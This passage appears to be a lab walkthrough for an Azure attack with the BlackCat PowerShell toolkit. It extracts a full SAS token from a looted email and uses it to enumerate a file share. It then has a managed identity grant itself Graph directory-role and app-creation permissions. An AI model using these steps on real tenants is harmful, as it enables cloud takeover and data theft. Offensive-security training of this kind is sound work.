You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Option 1: Open in mail clientInvoke-Item ./loot/Onboarding-Welcome-Email.eml
# Option 2: Display in terminalGet-Content ./loot/Onboarding-Welcome-Email.eml
# Option 3: Open in VS Code (demo-friendly!)
code ./loot/Onboarding-Welcome-Email.eml
# Option 4: Search for any URLsSelect-String-Path ./loot/*.eml -Pattern "https://"
$sasToken="?sv=2024-11-04&ss=f&srt=sco&sp=rl&se=2028-01-21..."Read-SASToken-SASToken $sasToken# Output shows:# Service: File# ResourceTypes: Service, Container, Object <-- srt=sco!# Permissions: Read, List <-- Can enumerate everything!# Expiry: 2028-01-21 <-- Valid for 2+ years!# The SAS token was meant for ONE user's folder, but srt=sco means# it can enumerate the ENTIRE file share!
# Using the SAS token extracted from the deleted email$storageAccount="bluemountaintravelsa"$fileShare="docs"$sasToken="?sv=2024-11-04&ss=f&srt=sco&sp=rl&se=2028-01-21T22:14:47Z&st=2026-01-21T13:59:47Z&spr=https,http&sig=X568VG5xyLVY9xLl9eoSa4oJM0wzRIkLHeHlixtwAkM%3D"# Step 1: Use BlackCat's Get-FileShareContent to enumerate the file shareGet-FileShareContent-StorageAccountName $storageAccount-FileShareName $fileShare-SasToken $sasToken
$uamiId="197e935d-02a7-4ca3-98a2-a2b0ffc389f6"# Grant the UAMI the ability to create applicationsSet-ManagedIdentityPermission`-servicePrincipalId $uamiId`-CommonResource MicrosoftGraph `-appRoleName "Application.ReadWrite.All"# Grant the UAMI the ability to assign directory rolesSet-ManagedIdentityPermission`-servicePrincipalId $uamiId`-CommonResource MicrosoftGraph `-appRoleName "RoleManagement.ReadWrite.Directory"# The UAMI just granted ITSELF both permissions needed for complete takeover!
NOTE! Now The UAMI HAS NEW PERMISSIONS So RE-AUTHENTICATE WITH SPN